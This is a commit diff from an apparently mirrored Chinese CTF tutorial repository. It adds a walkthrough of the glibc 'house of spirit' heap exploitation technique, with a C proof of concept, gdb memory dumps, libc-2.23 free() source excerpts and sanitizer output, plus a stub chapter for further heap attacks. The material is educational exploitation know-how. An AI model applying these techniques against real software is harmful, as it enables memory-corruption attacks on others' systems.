mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
finish 3.3.5; add 3.3.6
This commit is contained in:
parent
468faf85db
commit
4e9a45ed9d
@ -69,7 +69,8 @@
|
||||
- [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md)
|
||||
- [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md)
|
||||
- [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md)
|
||||
- [3.3.5 堆利用](doc/3.3.5_heap_exploit.md)
|
||||
- [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md)
|
||||
- [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md)
|
||||
- [3.4 Web](doc/3.4_web.md)
|
||||
- [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md)
|
||||
- [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md)
|
||||
|
@ -60,7 +60,8 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
||||
* [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md)
|
||||
* [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md)
|
||||
* [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md)
|
||||
* [3.3.5 堆利用](doc/3.3.5_heap_exploit.md)
|
||||
* [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md)
|
||||
* [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md)
|
||||
* [3.4 Web](doc/3.4_web.md)
|
||||
* [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md)
|
||||
* [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md)
|
||||
|
@ -1,4 +1,4 @@
|
||||
# 3.3.5 堆利用
|
||||
# 3.3.5 Linux 堆利用(上)
|
||||
|
||||
- [Linux 堆简介](#linux-堆简介)
|
||||
- [how2heap](#how2heap)
|
||||
@ -7,14 +7,6 @@
|
||||
- [fastbin_dup_into_stack](#fastbin_dup_into_stack)
|
||||
- [unsafe_unlink](#unsafe_unlink)
|
||||
- [house_of_spirit](#house_of_spirit)
|
||||
- [poison_null_byte](#poison_null_byte)
|
||||
- [house_of_lore](#house_of_lore)
|
||||
- [overlapping_chunks](#overlapping_chunks)
|
||||
- [overlapping_chunks_2](#overlapping_chunks_2)
|
||||
- [house_of_force](#house_of_force)
|
||||
- [unsorted_bin_attack](#unsorted_bin_attack)
|
||||
- [house_of_einherjar](#house_of_einherjar)
|
||||
- [house_of_orange](#house_of_orange)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
@ -206,6 +198,17 @@ Allocating 3 buffers.
|
||||
```
|
||||
这个程序展示了利用 fastbins 的 double-free 攻击,可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
|
||||
|
||||
libc-2.23 中对 double-free 的检查过程如下:
|
||||
```c
|
||||
/* Check that the top of the bin is not the record we are going to add
|
||||
(i.e., double free). */
|
||||
if (__builtin_expect (old == p, 0))
|
||||
{
|
||||
errstr = "double free or corruption (fasttop)";
|
||||
goto errout;
|
||||
}
|
||||
```
|
||||
|
||||
三个 malloc 之后:
|
||||
```
|
||||
gef➤ x/15gx 0x602010-0x10
|
||||
@ -475,11 +478,11 @@ int main() {
|
||||
// int *a[10];
|
||||
// int i;
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// a[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(a[i]);
|
||||
// }
|
||||
// a[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(a[i]);
|
||||
// }
|
||||
free(chunk1_ptr);
|
||||
|
||||
char victim_string[9];
|
||||
@ -757,11 +760,11 @@ gef➤ x/40gx 0x602010-0x10
|
||||
int *a[10];
|
||||
int i;
|
||||
for (i = 0; i < 7; i++) {
|
||||
a[i] = malloc(0x80);
|
||||
}
|
||||
for (i = 0; i < 7; i++) {
|
||||
free(a[i]);
|
||||
}
|
||||
a[i] = malloc(0x80);
|
||||
}
|
||||
for (i = 0; i < 7; i++) {
|
||||
free(a[i]);
|
||||
}
|
||||
```
|
||||
```
|
||||
gef➤ p &chunk0_ptr
|
||||
@ -798,22 +801,203 @@ allocated by thread T0 here:
|
||||
```
|
||||
|
||||
#### house_of_spirit
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#### poison_null_byte
|
||||
int main() {
|
||||
malloc(1);
|
||||
|
||||
#### house_of_lore
|
||||
fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
|
||||
unsigned long long *a, *b;
|
||||
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
|
||||
|
||||
#### overlapping_chunks
|
||||
fprintf(stderr, "The first one: %p\n", &fake_chunks[0]);
|
||||
fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);
|
||||
|
||||
#### overlapping_chunks_2
|
||||
fake_chunks[1] = 0x20; // the size
|
||||
fake_chunks[5] = 0x1234; // nextsize
|
||||
|
||||
#### house_of_force
|
||||
fake_chunks[2] = 0x4141414141414141LL;
|
||||
fake_chunks[6] = 0x4141414141414141LL;
|
||||
|
||||
#### unsorted_bin_attack
|
||||
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
|
||||
a = &fake_chunks[2];
|
||||
|
||||
#### house_of_einherjar
|
||||
fprintf(stderr, "Freeing the overwritten pointer.\n");
|
||||
free(a);
|
||||
|
||||
#### house_of_orange
|
||||
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
|
||||
b = malloc(0x10);
|
||||
fprintf(stderr, "malloc(0x10): %p\n", b);
|
||||
b[0] = 0x4242424242424242LL;
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g house_of_spirit.c
|
||||
$ ./a.out
|
||||
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
|
||||
The first one: 0x7ffc782dae00
|
||||
The second one: 0x7ffc782dae20
|
||||
Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7ffc782dae00.
|
||||
Freeing the overwritten pointer.
|
||||
Now the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will be 0x7ffc782dae10!
|
||||
malloc(0x10): 0x7ffc782dae10
|
||||
```
|
||||
house-of-spirit 是一种 fastbins 攻击方法,通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址,即任意我们可控的区域。house-of-spirit 是一种可以同时控制栈和堆溢出的方法。利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个被 fake chunk。所以 fake chunk 的伪造是关键。
|
||||
|
||||
首先 malloc(1) 用于初始化内存环境,然后在 fake chunk 区域伪造出两个 chunk。另外正如上面所说的,需要一个传递给 free 函数的可以被修改的指针,无论是通过栈溢出还是其它什么方式:
|
||||
```
|
||||
gef➤ x/10gx &fake_chunks
|
||||
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1
|
||||
0x7fffffffdcc0: 0x4141414141414141 0x0000000000000000
|
||||
0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2
|
||||
0x7fffffffdce0: 0x4141414141414141 0x0000000000000000
|
||||
gef➤ x/gx &a
|
||||
0x7fffffffdca0: 0x0000000000000000
|
||||
```
|
||||
伪造 chunk 时需要绕过一些检查,首先是标志位,`PREV_INUSE` 位并不影响 free 的过程,但 `IS_MMAPPED` 位和 `NON_MAIN_ARENA` 位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 `2*SIZE_SZ`(即大于16),小于 `av->system_mem`(即小于128kb),才能绕过对 next chunk 大小的检查。
|
||||
|
||||
libc-2.23 中这些检查代码如下:
|
||||
```c
|
||||
void
|
||||
__libc_free (void *mem)
|
||||
{
|
||||
mstate ar_ptr;
|
||||
mchunkptr p; /* chunk corresponding to mem */
|
||||
|
||||
[...]
|
||||
p = mem2chunk (mem);
|
||||
|
||||
if (chunk_is_mmapped (p)) /* release mmapped memory. */
|
||||
{
|
||||
[...]
|
||||
munmap_chunk (p);
|
||||
return;
|
||||
}
|
||||
|
||||
ar_ptr = arena_for_chunk (p); // 获得 chunk 所属 arena 的地址
|
||||
_int_free (ar_ptr, p, 0); // 当 IS_MMAPPED 为零时调用
|
||||
}
|
||||
```
|
||||
`mem` 就是我们所控制的传递给 free 函数的地址。其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换:
|
||||
```c
|
||||
/* conversion from malloc headers to user pointers, and back */
|
||||
|
||||
#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ))
|
||||
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
|
||||
```
|
||||
当 `NON_MAIN_ARENA` 为零时返回 main arena:
|
||||
```c
|
||||
/* find the heap and corresponding arena for a given ptr */
|
||||
|
||||
#define heap_for_ptr(ptr) \
|
||||
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
|
||||
#define arena_for_chunk(ptr) \
|
||||
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
|
||||
```
|
||||
这样,程序就顺利地进入了 `_int_free` 函数:
|
||||
```c
|
||||
static void
|
||||
_int_free (mstate av, mchunkptr p, int have_lock)
|
||||
{
|
||||
INTERNAL_SIZE_T size; /* its size */
|
||||
mfastbinptr *fb; /* associated fastbin */
|
||||
|
||||
[...]
|
||||
size = chunksize (p);
|
||||
|
||||
[...]
|
||||
/*
|
||||
If eligible, place chunk on a fastbin so it can be found
|
||||
and used quickly in malloc.
|
||||
*/
|
||||
|
||||
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
|
||||
|
||||
#if TRIM_FASTBINS
|
||||
/*
|
||||
If TRIM_FASTBINS set, don't place chunks
|
||||
bordering top into fastbins
|
||||
*/
|
||||
&& (chunk_at_offset(p, size) != av->top)
|
||||
#endif
|
||||
) {
|
||||
|
||||
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|
||||
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
|
||||
>= av->system_mem, 0))
|
||||
{
|
||||
[...]
|
||||
errstr = "free(): invalid next size (fast)";
|
||||
goto errout;
|
||||
}
|
||||
|
||||
[...]
|
||||
set_fastchunks(av);
|
||||
unsigned int idx = fastbin_index(size);
|
||||
fb = &fastbin (av, idx);
|
||||
|
||||
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
|
||||
mchunkptr old = *fb, old2;
|
||||
[...]
|
||||
do
|
||||
{
|
||||
[...]
|
||||
p->fd = old2 = old;
|
||||
}
|
||||
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
|
||||
```
|
||||
其中下面的宏函数用于获得 next chunk:
|
||||
```c
|
||||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
|
||||
然后修改指针 a 指向 (fake chunk 1 + 0x10) 的位置,即上面提到的 `mem`。然后将其传递给 free 函数,这时程序就会误以为这是一块真的 chunk,然后将其释放并加入到 fastbin 中。
|
||||
```
|
||||
gef➤ x/gx &a
|
||||
0x7fffffffdca0: 0x00007fffffffdcc0
|
||||
gef➤ x/10gx &fake_chunks
|
||||
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 [be freed]
|
||||
0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000
|
||||
0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2
|
||||
0x7fffffffdce0: 0x4141414141414141 0x0000000000000000
|
||||
0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0
|
||||
gef➤ heap bins fast
|
||||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdcc0, size=0x20, flags=)
|
||||
```
|
||||
|
||||
这时如果我们 malloc 一个对应大小的 fast chunk,程序将从 fastbins 中分配出这块被释放的 chunk。
|
||||
```
|
||||
gef➤ x/10gx &fake_chunks
|
||||
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- new chunk
|
||||
0x7fffffffdcc0: 0x4242424242424242 0x0000000000000000
|
||||
0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2
|
||||
0x7fffffffdce0: 0x4141414141414141 0x0000000000000000
|
||||
0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0
|
||||
gef➤ x/gx &b
|
||||
0x7fffffffdca8: 0x00007fffffffdcc0
|
||||
```
|
||||
所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的。
|
||||
|
||||
加上内存检测参数重新编译,可以看到问题所在,即尝试 free 一块不是由 malloc 分配的 chunk:
|
||||
```
|
||||
$ gcc -fsanitize=address -g house_of_spirit.c
|
||||
$ ./a.out
|
||||
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
|
||||
The first one: 0x7fffa61d6c00
|
||||
The second one: 0x7fffa61d6c20
|
||||
Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7fffa61d6c00.
|
||||
Freeing the overwritten pointer.
|
||||
=================================================================
|
||||
==5282==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x7fffa61d6c10 in thread T0
|
||||
#0 0x7fc4c3a332ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
|
||||
#1 0x400cab in main /home/firmyy/how2heap/house_of_spirit.c:24
|
||||
#2 0x7fc4c35f182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
#3 0x4009b8 in _start (/home/firmyy/how2heap/a.out+0x4009b8)
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
30
doc/3.3.6_heap_exploit_2.md
Normal file
30
doc/3.3.6_heap_exploit_2.md
Normal file
@ -0,0 +1,30 @@
|
||||
# 3.3.6 Linux 堆利用(中)
|
||||
|
||||
- [how2heap](#how2heap)
|
||||
- [poison_null_byte](#poison_null_byte)
|
||||
- [house_of_lore](#house_of_lore)
|
||||
- [overlapping_chunks](#overlapping_chunks)
|
||||
- [overlapping_chunks_2](#overlapping_chunks_2)
|
||||
- [house_of_force](#house_of_force)
|
||||
- [unsorted_bin_attack](#unsorted_bin_attack)
|
||||
- [house_of_einherjar](#house_of_einherjar)
|
||||
- [house_of_orange](#house_of_orange)
|
||||
|
||||
|
||||
[下载文件](../src/Others/3.3.5_heap_exploit)
|
||||
|
||||
#### poison_null_byte
|
||||
|
||||
#### house_of_lore
|
||||
|
||||
#### overlapping_chunks
|
||||
|
||||
#### overlapping_chunks_2
|
||||
|
||||
#### house_of_force
|
||||
|
||||
#### unsorted_bin_attack
|
||||
|
||||
#### house_of_einherjar
|
||||
|
||||
#### house_of_orange
|
@ -4,4 +4,5 @@
|
||||
- [3.3.2 整数溢出](3.3.2_integer_overflow.md)
|
||||
- [3.3.3 栈溢出](3.3.3_stack_overflow.md)
|
||||
- [3.3.4 返回导向编程(ROP)](3.3.4_rop.md)
|
||||
- [3.3.5 堆溢出](3.3.5_heap_overflow.md)
|
||||
- [3.3.5 Linux 堆利用(上)](3.3.5_heap_exploit_1.md)
|
||||
- [3.3.6 Linux 堆利用(中)](3.3.6_heap_exploit_2.md)
|
||||
|
30
src/Others/3.3.5_heap_exploit/house_of_spirit.c
Normal file
30
src/Others/3.3.5_heap_exploit/house_of_spirit.c
Normal file
@ -0,0 +1,30 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main() {
|
||||
malloc(1);
|
||||
|
||||
fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
|
||||
unsigned long long *a, *b;
|
||||
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
|
||||
|
||||
fprintf(stderr, "The first one: %p\n", &fake_chunks[0]);
|
||||
fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);
|
||||
|
||||
fake_chunks[1] = 0x20; // the size
|
||||
fake_chunks[5] = 0x1234; // nextsize
|
||||
|
||||
fake_chunks[2] = 0x4141414141414141LL;
|
||||
fake_chunks[6] = 0x4141414141414141LL;
|
||||
|
||||
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
|
||||
a = &fake_chunks[2];
|
||||
|
||||
fprintf(stderr, "Freeing the overwritten pointer.\n");
|
||||
free(a);
|
||||
|
||||
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
|
||||
b = malloc(0x10);
|
||||
fprintf(stderr, "malloc(0x10): %p\n", b);
|
||||
b[0] = 0x4242424242424242LL;
|
||||
}
|
@ -30,11 +30,11 @@ int main() {
|
||||
// int *a[10];
|
||||
// int i;
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// a[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(a[i]);
|
||||
// }
|
||||
// a[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(a[i]);
|
||||
// }
|
||||
free(chunk1_ptr);
|
||||
|
||||
char victim_string[9];
|
||||
|
Loading…
Reference in New Issue
Block a user